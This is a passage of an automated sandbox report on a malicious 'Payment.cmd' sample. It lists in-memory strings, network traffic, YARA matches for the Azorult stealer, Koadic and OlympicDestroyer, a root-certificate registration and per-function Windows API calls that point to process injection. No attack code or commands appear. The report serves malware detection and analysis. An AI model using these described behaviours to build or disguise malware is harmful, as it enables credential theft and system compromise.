            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.s
            Source: uhvutpdX.pif, 00000013.00000002.2431110845.0000000025134000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: uhvutpdX.pif, 00000013.00000002.2431110845.000000002514B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033B
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srfe
            Source: uhvutpdX.pif, 00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf(
            Source: uhvutpdX.pif, 00000013.00000002.2431110845.000000002514B000.00000004.00000020.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2431110845.0000000025134000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: kn.exeString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorize
            Source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmpString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah
            Source: kn.exeString found in binary or memory: https://login.microsoftonline.com/%s/oauth2/token
            Source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
            Source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
            Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
            Source: unknownHTTPS traffic detected: 170.10.161.45:443 -> 192.168.2.6:49712 version: TLS 1.2

            E-Banking Fraud

            barindex
            Registers a new ROOT certificate
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DDB684 CertCompareCertificateName,#357,#357,CertEnumCertificatesInStore,CertCompareCertificateName,CertComparePublicKeyInfo,memcmp,#357,CertEnumCertificatesInStore,#357,CertFreeCertificateContext,CertAddCertificateContextToStore,GetLastError,7_2_00007FF6E3DDB684
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,7_2_00007FF6E3E1E1F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A740 CryptAcquireContextW,GetLastError,#357,CryptImportKey,GetLastError,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,CryptGetUserKey,GetLastError,CryptDestroyKey,#357,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E5A740
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,7_2_00007FF6E3DE25E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E0EA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,7_2_00007FF6E3E0EA7C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DE29A0 #357,#357,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CertFreeCertificateContext,CryptReleaseContext,LocalFree,LocalFree,CryptDestroyKey,7_2_00007FF6E3DE29A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E10F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,7_2_00007FF6E3E10F58
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E20EF4 NCryptImportKey,#205,#359,#359,#357,7_2_00007FF6E3E20EF4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E56EA8 NCryptImportKey,#360,7_2_00007FF6E3E56EA8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E2342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,7_2_00007FF6E3E2342C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E593A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,7_2_00007FF6E3E593A0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E598B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,7_2_00007FF6E3E598B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,7_2_00007FF6E3E1184C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DBFC20 #359,#357,NCryptOpenStorageProvider,#357,NCryptImportKey,GetLastError,#357,#357,LocalFree,LocalFree,NCryptFreeObject,#357,NCryptFreeObject,#357,7_2_00007FF6E3DBFC20
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAF9B8 strcmp,#357,#359,NCryptOpenStorageProvider,#357,NCryptImportKey,#357,NCryptSetProperty,NCryptFinalizeKey,NCryptFreeObject,NCryptFreeObject,#359,CryptImportPKCS8,GetLastError,#357,CryptGetUserKey,GetLastError,#357,CryptGetUserKey,GetLastError,CryptDestroyKey,CryptReleaseContext,LocalFree,7_2_00007FF6E3DAF9B8

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: Payment.cmd, type: SAMPLEMatched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.1.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.400000.1.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 35.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 10.2.AnyDesk.PIF.21c460d8.9.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 27.2.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 27.1.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 27.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 27.2.uhvutpdX.pif.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.1.uhvutpdX.pif.400000.1.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 19.1.uhvutpdX.pif.4b6d28.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Azorult Payload Author: kevoreilly
            Source: 35.1.uhvutpdX.pif.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 27.2.uhvutpdX.pif.2ddfa89c.6.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.286c4382.6.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 27.2.uhvutpdX.pif.2de87fda.5.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 27.2.uhvutpdX.pif.2de1c889.4.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.28636c44.7.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 19.2.uhvutpdX.pif.28658c31.8.raw.unpack, type: UNPACKEDPEMatched rule: OlympicDestroyer Payload Author: kevoreilly
            Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001A.00000002.2390279233.0000000020908000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001A.00000002.2390279233.000000002088E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult Payload Author: kevoreilly
            Source: 0000001B.00000001.2363824050.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult Payload Author: kevoreilly
            Source: 00000023.00000001.2443186180.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001B.00000002.2514012472.0000000000479000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult Payload Author: kevoreilly
            Source: 00000013.00000002.2411111146.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult Payload Author: kevoreilly
            Source: 00000013.00000001.2243838356.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000023.00000001.2443186180.0000000000479000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 00000013.00000002.2411111146.000000000047C000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001A.00000002.2390279233.00000000208AB000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Azorult_38fce9ea Author: unknown
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Azorult Payload Author: kevoreilly
            Source: 0000001B.00000002.2514012472.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Azorult in memory Author: JPCERT/CC Incident Response Group
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,4_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF5898C NtQueryInformationToken,4_2_00007FF78CF5898C
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,4_2_00007FF78CF43D94
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF589E4 NtQueryInformationToken,NtQueryInformationToken,4_2_00007FF78CF589E4
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,4_2_00007FF78CF588C0
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,4_2_00007FF78CF6BCF0
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,4_2_00007FF78CF58114
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,4_2_00007FF78CF57FF8
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,6_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF5898C NtQueryInformationToken,6_2_00007FF78CF5898C
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,6_2_00007FF78CF43D94
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF589E4 NtQueryInformationToken,NtQueryInformationToken,6_2_00007FF78CF589E4
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,6_2_00007FF78CF588C0
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,6_2_00007FF78CF6BCF0
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,6_2_00007FF78CF58114
            Source: C:\Users\Public\alpha.exeCode function: 6_2_00007FF78CF57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,6_2_00007FF78CF57FF8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E7C964 NtQuerySystemTime,RtlTimeToSecondsSince1970,7_2_00007FF6E3E7C964
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC8670 NtUnmapViewOfSection,10_2_02AC8670
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC8400 NtReadVirtualMemory,10_2_02AC8400
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC7A2C NtAllocateVirtualMemory,10_2_02AC7A2C
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACDC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,10_2_02ACDC8C
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACDC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,10_2_02ACDC04
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC7D78 NtWriteVirtualMemory,10_2_02AC7D78
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,10_2_02AC8D70
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,10_2_02ACDD70
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC7A2A NtAllocateVirtualMemory,10_2_02AC7A2A
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02ACDBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile,10_2_02ACDBB0
            Source: C:\Users\Public\Libraries\AnyDesk.PIFCode function: 10_2_02AC8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread,10_2_02AC8D6E
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,11_2_00007FF78CF58114
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,11_2_00007FF78CF57FF8
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,11_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF5898C NtQueryInformationToken,11_2_00007FF78CF5898C
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,11_2_00007FF78CF43D94
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF589E4 NtQueryInformationToken,NtQueryInformationToken,11_2_00007FF78CF589E4
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,11_2_00007FF78CF588C0
            Source: C:\Users\Public\alpha.exeCode function: 11_2_00007FF78CF6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,11_2_00007FF78CF6BCF0
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF58114 NtQueryVolumeInformationFile,GetFileInformationByHandleEx,12_2_00007FF78CF58114
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF57FF8 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,NtSetInformationFile,DeleteFileW,GetLastError,12_2_00007FF78CF57FF8
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF71538 SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memmove,memmove,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW,12_2_00007FF78CF71538
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF5898C NtQueryInformationToken,12_2_00007FF78CF5898C
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF43D94 _setjmp,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,12_2_00007FF78CF43D94
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF589E4 NtQueryInformationToken,NtQueryInformationToken,12_2_00007FF78CF589E4
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF588C0 NtOpenThreadToken,NtOpenProcessToken,NtClose,12_2_00007FF78CF588C0
            Source: C:\Users\Public\alpha.exeCode function: 12_2_00007FF78CF6BCF0 fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer,12_2_00007FF78CF6BCF0
            Source: C:\Users\Public\alpha.exeCode function: 4_2_00007FF78CF45240: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPEAX@Z,memset,CreateFileW,DeviceIoControl,memmove,CloseHandle,??_V@YAXPEAX@Z,memset,FindClose,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,4_2_00007FF78CF45240
